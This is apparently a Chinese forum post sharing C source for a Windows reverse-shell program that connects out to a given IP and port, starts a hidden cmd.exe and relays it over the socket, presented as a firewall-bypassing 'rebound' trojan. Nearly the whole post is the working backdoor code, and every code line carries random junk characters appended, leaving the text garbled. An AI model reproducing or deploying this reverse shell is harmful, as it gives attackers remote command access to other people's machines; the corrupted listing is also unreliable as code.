这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。
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/* ============================== d7xd"
Rebound port in Windows NT 1D
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By wind,2006/7 +U(m b
===============================*/ O
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#include Z/ "jLfP
#include *@'\4OO
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#pragma comment(lib,"wsock32.lib") 5feCA ,v7
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void OutputShell(); m6P!#=a:l<
SOCKET sClient; &n%
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; tHhA_
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void main(int argc,char **argv) !]tZE%?
{ LbGyD;#_
WSADATA stWsaData; c&Pgz~iP
int nRet; MB,;HeP!
SOCKADDR_IN stSaiClient,stSaiServer; W/O&(t
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if(argc != 3) lGa'Y
{ d#@N2
printf("Useage:\n\rRebound DestIP DestPort\n"); LT sG
return; K0xZZ`
} kLKd
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WSAStartup(MAKEWORD(2,2),&stWsaData); K!q:A+]
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~=5 vc''
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stSaiClient.sin_family = AF_INET; J4
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stSaiClient.sin_port = htons(0); M[ea!an
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); *$nz<?
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ?XVJ$nzW
{ gB!K{ Io'
printf("Bind Socket Failed!\n"); C LhD[/Fo
return; UE4zmIq
} :^mfTj$
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stSaiServer.sin_family = AF_INET; (,<ti):
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); J[:3H6%`
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Gc)
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) M2ig iR
{ i"uAT$x e
printf("Connect Error!"); !$'s?rnh
return; W`fE@* k0
} CB5 ~!nKv&
OutputShell(); K
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} 0:^L>MO
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void OutputShell() K[ZgT$zZ
{ *pN,@ZV$
char szBuff[1024]; ms'!E)
SECURITY_ATTRIBUTES stSecurityAttributes; 9?)r0`:#
OSVERSIONINFO stOsversionInfo; <$s G]l!\
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; fL7ym,?
STARTUPINFO stStartupInfo; ZFy>Z:&S,
char *szShell; 1!RD
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PROCESS_INFORMATION stProcessInformation; dA<PQKm
unsigned long lBytesRead; {q2H_H
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ;b:Ct <
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); tk5Bb`a
stSecurityAttributes.lpSecurityDescriptor = 0; }}v04~
stSecurityAttributes.bInheritHandle = TRUE; OiAi{ 71
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); WY%LeC!t
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); d;KrV=%30s
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ~:."BA
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =4
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stStartupInfo.wShowWindow = SW_HIDE; h3.wR]ut
stStartupInfo.hStdInput = hReadPipe;
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 5fS89?/?
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GetVersionEx(&stOsversionInfo); Ue|]M36
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switch(stOsversionInfo.dwPlatformId) jcF/5u5e
{ wU.K+4-k
case 1: 4NxtU/5-sU
szShell = "command.com"; @p jah(i`
break; 5H#3PZaQ
default: ~SkdP7 )
szShell = "cmd.exe"; 2s,wC!',
break;
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} v/f&rK* >
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); z#b31;A@$
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send(sClient,szMsg,77,0); 6C>x,kU
while(1) 6o&{~SV3
{ a3]'%kKp
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 9PEjV$0E2
if(lBytesRead) M:h~;+s
{ Ow=` tv$l
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); -\yaP8V
send(sClient,szBuff,lBytesRead,0); [Dp 6q~RM
} b9HE #*d,
else =rS z>l
{ -nG3(n&wB
lBytesRead=recv(sClient,szBuff,1024,0); 4RsV\Y{FN
if(lBytesRead<=0) break; +ib72j%A
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); C(C4R+U
} z%t>z9hU
} 5I5~GH
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return; kEWC
}